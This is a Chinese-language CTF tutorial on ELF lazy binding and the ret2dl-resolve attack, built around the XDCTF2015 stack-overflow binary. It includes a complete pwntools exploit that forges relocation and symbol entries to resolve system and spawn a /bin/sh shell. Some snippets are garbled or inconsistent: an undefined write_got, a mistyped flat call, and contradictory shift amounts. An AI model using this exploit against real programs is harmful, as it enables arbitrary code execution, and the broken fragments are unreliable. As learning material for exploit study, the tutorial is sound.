int main()
{
puts("hello world!");
return 0;
}//gcc -m32 -fno-stack-protector -no-pie -s hello.c
call _puts
这里分析,call _puts之后究竟做了哪些工作.plt:08049040 jmp ds:off_804C00C
.got.plt:0804C00C off_804C00C dd offset puts ; DATA XREF: _puts↑r
[-------------------------------------code-------------------------------------]
0x8049036: jmp DWORD PTR ds:0x804c008
0x804903c: add BYTE PTR [eax],al
0x804903e: add BYTE PTR [eax],al
=> 0x8049040 : jmp DWORD PTR ds:0x804c00c
| 0x8049046 : push 0x0
| 0x804904b : jmp 0x8049030
| 0x8049050 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804c010
| 0x8049056 <__libc_start_main@plt+6>: push 0x8
|-> 0x8049046 : push 0x0
0x804904b : jmp 0x8049030
0x8049050 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804c010
0x8049056 <__libc_start_main@plt+6>: push 0x8
JUMP is taken
[------------------------------------stack-------------------------------------]\
[-------------------------------------code-------------------------------------]
0x804903e: add BYTE PTR [eax],al
0x8049040 : jmp DWORD PTR ds:0x804c00c
0x8049046 : push 0x0
=> 0x804904b : jmp 0x8049030
| 0x8049050 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804c010
| 0x8049056 <__libc_start_main@plt+6>: push 0x8
| 0x804905b <__libc_start_main@plt+11>: jmp 0x8049030
| 0x8049060 <__gmon_start__@plt>: jmp DWORD PTR ds:0x804bffc
|-> 0x8049030: push DWORD PTR ds:0x804c004
0x8049036: jmp DWORD PTR ds:0x804c008
0x804903c: add BYTE PTR [eax],al
0x804903e: add BYTE PTR [eax],al
JUMP is taken
[------------------------------------stack-------------------------------------]
[-------------------------------------code-------------------------------------]
0x804902d: add BYTE PTR [eax],al
0x804902f: add bh,bh
0x8049031: xor eax,0x804c004
=> 0x8049036: jmp DWORD PTR ds:0x804c008
| 0x804903c: add BYTE PTR [eax],al
| 0x804903e: add BYTE PTR [eax],al
| 0x8049040 : jmp DWORD PTR ds:0x804c00c
| 0x8049046 : push 0x0
|-> 0xf7fea340: push eax
0xf7fea341: push ecx
0xf7fea342: push edx
0xf7fea343: mov edx,DWORD PTR [esp+0x10]
JUMP is taken
[------------------------------------stack-------------------------------------]
_dl_runtime_resolve(DWORD PTR ds:0x804c004,0)
,这里我们还可以去看一下这个DWORD PTR ds:0x804c004
是什么,前面这个地址实际上是link_map
,后面是reloc_index
,这个程序最后的目的是往got表中写入函数地址,第一个参数是用来寻找函数地址的,第二个参数就是函数在.rel.plt
表中的偏移.got.plt:0804C004 dword_804C004 dd 0 ; DATA XREF: sub_8049030↑r
.got.plt:0804C008 dword_804C008 dd 0 ; DATA XREF: sub_8049030+6↑r
DT_STRTAB, DT_SYMTAB, DT_JMPREL
,根据名字其实就猜出来了,分别是字符表,符号表,最后的重定位表,也就是ELF Symbol Table,ELF String Table,ELF REL Relocation Table
LOAD:080482D8 ; ELF JMPREL Relocation Table
LOAD:080482D8 Elf32_Rel <804C00Ch, 107h> ; R_386_JMP_SLOT puts
LOAD:080482E0 Elf32_Rel <804C010h, 307h> ; R_386_JMP_SLOT __libc_start_main
LOAD:080482E0 LOAD ends
每一项都是Elf32_Rel
的形式,实际上是个结构体,那么这里其实是Elf32_Rel
typedef struct{
Elf32_Addr r_offset;
Elf32_Word r_info;
}Elf32_Rel;
r_offset:一个地址,这个地址是指向GOT表的,也就是最后我们查找到了函数写入的地址
r_info:一些导入符号的信息,我们可以看到上面是107h,307h
,为什么都是07结尾是因为导入符号是导入函数的原因,导入函数都是07结尾,所以不用管,我们需要重点关注的是最靠头的1
和3
,这个1和3其实是.dynsym的下标,1就是.dynsym的第一项,3自然就是第三项
我们前面就说了我们要根据这个_dl_runtime_resolve函数去找到我们需要调用的函数的符号,然后根据符号去找地址,这个表其实就给了我们相当多的信息,我们要写入到GOT表的哪里,去哪里找这个符号,所以这个函数肯定是要先找到这个表
LOAD:0804820C ; ELF Symbol Table
LOAD:0804820C Elf32_Sym <0>
LOAD:0804821C Elf32_Sym ; "puts"
LOAD:0804822C Elf32_Sym ; "__gmon_start__"
LOAD:0804823C Elf32_Sym
LOAD:0804824C Elf32_Sym
我们写成结构体的格式,Elf32_Sym
其实我们只需要关注这个st_name就可以了
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0
前面在.rel.plt表中我们就说明了,要根据上一个表中的偏移,找到具体这个表的一项,上面是1,那么这里就是第一项,也就是这个Elf32_Sym
st_name:我们只需要用到st_name
就行了,很显然就是对应最后的符号表了地址了,这里是用偏移表示的
到这里我们就可以写这样的流程了,(.rel.plt -> r_info) >> 8 -> st_name,这样我们就知道我们的函数符号在符号表中的偏移了,这样我们自然就能根据这个偏移找到符号了,具体怎么找的呢,这个offset unk_804825C
其实就是符号表的首地址,前面这个offset aPuts
就是对应符号表的符号,这样自然就知道了
LOAD:0804825C ; ELF String Table
LOAD:0804825C unk_804825C db 0 ; DATA XREF: LOAD:0804821C↑o
LOAD:0804825C ; LOAD:0804822C↑o ...
LOAD:0804825D aLibcSo6 db 'libc.so.6',0
LOAD:08048267 aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:0804824C↑o
LOAD:08048276 aPuts db 'puts',0 ; DATA XREF: LOAD:0804821C↑o
LOAD:0804827B aLibcStartMain db '__libc_start_main',0
LOAD:0804827B ; DATA XREF: LOAD:0804823C↑o
LOAD:0804828D aGlibc20 db 'GLIBC_2.0',0
LOAD:08048297 aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:0804822C↑o
写到这个表,其实流程就很清晰了,之所以要从.rel.plt表先分析,也是因为这个函数也是先从这个表找起的,那么总的流程自然就是,.rel.plt -> .dynsym -> .dynstr
,细节流程就是
1.去.rel.plt找符号
.rel.plt -> r_info 这个info右移16位,得到偏移,也就是107h右移,得到1
2.去.dynsym表中找到对应的项解读对应的参数
.dynsym -> st_name
3.去.dynstr拿到符号
.dynsym -> 符号(funcition)
.rel.plt
就是用来描述重定位符号写入信息的,去哪里找,写到哪里,第二个表.dynsym
用来描述这个符号的基本信息的,这个符号有什么样子的属性,存在哪里,第三个表.dynstr
相当于一个数据库,存储我们的符号名字,我们还是用导入变量和导入函数的比较多_dl_runtime_resolve(DWORD PTR ds:0x804c004,0)
,前面说了,第一个参数是link_map,第二个参数是.rel.plt
表中的偏移,link_map会先去访问.dynamic
,然后拿到.rel.plt,.dynsym,.dynsym
的指针地址,然后就根据我们刚才的描述去取到符号,然后写入.got.plt
表,这里有两个表一个是.got.plt
,还有个.got
表,我们知道了前面那个表是用来存储函数地址的,那么后面.got
表呢,这里实际上我们需要了解四个表_dl_runtime_resolve
函数的介绍,接下来我们来利用它#include
#include
#include
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
这就是我们需要去伪造的栈结构,省略号表示一些对齐或者一些填充数据,参数之类的
fake_info的第一个参数指向fake_sym_offset,这里的fake_sym_offset指向fake_str,我们只需要分别把这三项参数
构造好了,其实我们就完成了攻击,
----------------------------------------------------|
plt[0] |
----------------------------------------------------|
rel_offset |
----------------------------------------------------|
....... |
----------------------------------------------------|
fake_rel_offset |
----------------------------------------------------|
...... |
----------------------------------------------------|
fake_sym_offset |
----------------------------------------------------|
...... |
----------------------------------------------------|
fake_str |
----------------------------------------------------|
......
fake_sym_offset
,这个fake_str
不用构造,只需要提供个字符串就行了,这么我们要获得shell,就构造成system
就可以了,它的参数我们也可以布置出来dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
fake_sym_addr = base_stage + 32
'''
我们提前把栈段移到bss段,这部分代码解释,会写在最后的exp里面
'''
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
'''
这里是个很关键的地方,为了内存对齐
'''
fake_sym_addr += align
'''
内存对齐后的fake_sym_addr
'''
index_dynsym = ( fake_sym_addr - dynsym) / 0x10
'''
这里为了计算这是sym表的第几项,这个参数是给.rel.plt用的
'''
st_name = fake_sym_addr + 0x10 - dynstr
'''
这里的fake_sym_addr + 0x10就是system字符串所在的位置,减掉dynstr,就是st_name,因为st_name
就是用偏移表示的
'''
fake_write_sym = flat([st,name,0,0,0x12])
'''
flat([0x4c, 0, 0, 0x12]),打印错误很有可能和初始化操作有关系
'\st_name\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00'
fake_write_sym 就是Elf32_Sym结构体的各项数据,
'''
fake_sym_addr + 0x10
就是.dynstr表的指向了,所以我们接下来只需要构造.rel.plt了# 思路:首先要创建一个offset去指向我们伪造的.rel.plt表项
# 我们先看一下表项的格式Elf32_Rel ,也就是一个函数写入地址的位置,随便给就行了
,r_info需要设置
rel_offset = base_stage + 24 - rel_plt
'''
这里就是指向我们伪造的表项的偏移
'''
r_info = ( index_dynsym << 8 ) | 0x7
'''
上面这个index_dynsym是我们伪造的sym表项是在总的sym表项的第几项,这里处理一下设置为(0x偏移07)
'''
fake_write_reloc = flat([write_got,r_info])
'''
这个地址随便写就可以了,我们只调用一次,也不需要存储这个地址
'''
'''
那么程序的调用思路为:
plt[0] -> rel_offset (这个offset帮助plt[0]找到.rel.plt对应项,自然就是我们上面伪造的)
-> base_stage + 24 - rel_plt -> fake_write_reloc([write_got, r_info])
-> r_info = (index_dynsym << 8) | 0x7 -> fake_sym_addr
-> base_stage + 32 -> fake_write_sym([0x4c, 0, 0, 0x12])
-> 这样就找到了sym表中的符号了,这里还是write符号,但是用了我们伪造的.rel.plt,
.dynstr,.dynsym
'''
sh = '/bin/sh'
rop.raw(plt0)
rop.raw(rel_offset)
rop.raw('bbbb') # 调用函数的返回值,我们只用一次就无所谓了,这里填满字节就可以了
rop.raw(base_stage + 82)
rop.raw('bbbb') # 填充数据,因为我们之前的数据填的是 base_stage + 24 或者 + 32,需要一些填充数据
rop.raw('bbbb') # 填充数据
rop.raw(fake_write_reloc)fake_write_sym
rop.raw( 'a' * align)
rop.raw(fake_write_sym)
rop.raw('system\x00')
rop.raw( 'a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw( 'a' * (100 - len(rop.chain())))
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
'''
偏移的获取:
进入gdb模式,生成一定会溢出的pattern长度
create pattern 200
然后复制生成的pattern,然后发送,然后搜索我们发送的pattern的地址
pattern search
pattern search address
'''
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
'''
migrate函数:看源码很容易就发现了,这就是添加了个leave;ret的gadget,在这里就是
返回原程序的意思
def migrate(self, next_base):
"""Explicitly set $sp, by using a ``leave; ret`` gadget"""
if isinstance(next_base, ROP):
next_base = self.base
pop_sp = self.rsp or self.esp
pop_bp = self.rbp or self.ebp
leave = self.leave
if pop_sp and len(pop_sp.regs) == 1:
self.raw(pop_sp)
self.raw(next_base)
elif pop_bp and leave and len(pop_bp.regs) == 1:
self.raw(pop_bp)
self.raw(next_base - context.bytes)
self.raw(leave)
else:
log.error('Cannot find the gadgets to migrate')
self.migrated = True
'''
r.sendline(rop.chain())
'''
这里是为了迁移栈段,迁移到bss段
'''
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
'''
得到对应的section的地址,不太清楚这里的header和sh_addr是什么意思,但是这里的意思
应该就是为了获得头地址
'''
### making fake write symbol
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf
) # since the size of item(Elf32_Symbol) of dynsym is 0x10
'''
0x10 - ((fake_sym_addr - dynsym) & 0xf)
这里的 & 运算是为了拿到最后一个字节,也就是四位,这里的处理是为了获取对齐表项,
一个sym表项的大小是16个字节
由于每个sym项都是16个字节对齐,也就是查找对应的项的时候就是按十六个字节,十六个字节
的找的,如果这里不对齐,可能会找不全数据
Contents of section .dynsym:
80481d8 00000000 00000000 00000000 00000000 ................
80481e8 33000000 00000000 00000000 12000000 3...............
80481f8 27000000 00000000 00000000 12000000 '...............
8048208 52000000 00000000 00000000 20000000 R........... ...
8048218 20000000 00000000 00000000 12000000 ...............
8048228 (C)3a000000 00000000 00000000(A) 12000000 :...............
8048238 4c000000 00000000 00000000 12000000 L...............
8048248 2c000000 44a00408 04000000 11001a00 ,...D...........
8048258 0b000000 3c860408 04000000 11001000 ....<...........
8048268 1a000000 40a00408 04000000 11001a00 ....@...........
举个例子:在A点是我们开始的base_stage + 32,假如我们伪造的表项是sym表的第B项,
如果没有align,我们的数据会从A点开始填充,但是我们.rel.plt查找的时候是严格按照
第B项去找的,这样子就造成了找的数据不是我们伪造的,构造了align之后,我们先取得
base_stage + 32 - sym表头的后四位数据,我们得到的就是A点到8048228开头的大小,
也就是AC点之前的距离然后我们只需要把A到8048238后面的大小计算出来,然后用数据
填充也就到了我们8048238这个位置,实际上这里就是个内存对齐机制
'''
fake_sym_addr = fake_sym_addr + align
'''
内存对齐后我们伪造的sym地址
'''
index_dynsym = (
fake_sym_addr - dynsym) / 0x10 # calculate the dynsym index of write
## plus 10 since the size of Elf32_Sym is 16.
'''
这里就是计算我们伪造的sym项,是表的第几项,这个数据会用到.rel.plt的r_info中
'''
st_name = fake_sym_addr + 0x10 - dynstr
'''
这里就是我们伪造的st_name,减去一个dymstr也是为了计算偏移,因为sym项中的st_name
就是用偏移表示的,这里可以跳到上面去看一下
'''
fake_write_sym = flat([st_name, 0, 0, 0x12])
'''
flat([0x4c, 0, 0, 0x12]),打印错误很有可能和初始化操作有关系
'\st_name\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00'
这里拼凑的是一个Elf32_sym结构
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0
上面的分别对应这个结构体的属性,sym表就伪造好了
'''
### making fake write relocation
## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
'''
计算.rel.plt表头离我们伪造的.rel.plt表项偏移,这个参数是给plt[0]里的代码用的
'''
r_info = (index_dynsym << 8) | 0x7
'''
将上面计算的index_dynsym处理成r_info
'''
fake_write_reloc = flat([write_got, r_info])
'''
伪造.rel.plt项的属性
'''
'''
那么程序的调用思路为:
plt[0] -> index_offset(这个offset帮助plt[0]找到.rel.plt对应项,自然就是我们上面伪造的)
-> base_stage + 24 - rel_plt -> fake_write_reloc([write_got, r_info])
-> r_info = (index_dynsym << 8) | 0x7 -> fake_sym_addr
-> base_stage + 32 -> fake_write_sym([0x4c, 0, 0, 0x12])
-> 这样就找到了sym表中的符号了,这里还是write符号,但是用了我们伪造的.rel.plt,
.dynstr,.dynsym
'''
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(base_stage + 82)
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_write_reloc) # fake write reloc
rop.raw('a' * align) # padding
rop.raw(fake_write_sym) # fake write symbol
rop.raw('system\x00') # there must be a \x00 to mark the end of string
'''
有个细节,str符号表每个符号都要带\x00,上面介绍的str表里也有
'''
rop.raw('a' * (80 - len(rop.chain())))
print rop.dump()
print len(rop.chain())
rop.raw(sh + '\x00')
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()
.dynamic
表是最重要的一个表,这个表里存储了其他很多表的指针,我们这里只用到了,.dynstr
、.dynsym 、.rel.plt
这三个表,这三个表分别是符号表dynstr
也就是存储函数名字的字符串,.dynsym
是个符号属性表,这个符号有什么样的属性,有多大,存储在符号表的第几项,这个表也直接给出了我们所要找的函数在符号表的位置,.rel.plt
这个表就是用来给函数地址做个指引的,地址写到哪里去,该去哪里找这个地址_dl_runtime_resolve
这个函数的执行流程,首先这个函数会去找.dynamic
,拿到后面三个表的指针,然后去找.rel.plt
表,这个表会告诉我们去哪里找这个函数的符号,然后我们就找到了.dynsym
,对应的函数的符号表属性,根据这个属性我们就可以找到这个符号也就是字符串在这个符号表dynstr
在函数的第几项,然后我们的函数就找到了这个字符串,然后就会根据这个字符串调用动态连接程序去找到库中函数地址,然后根据.rel.plt
表写入这个函数应该在的.got.plt的位置payload = plt[0]
payload += [fake.rel.plt]
payload += [.dynsym]
payload += [.dynstr]
payload += 'system\x00'
payload += sh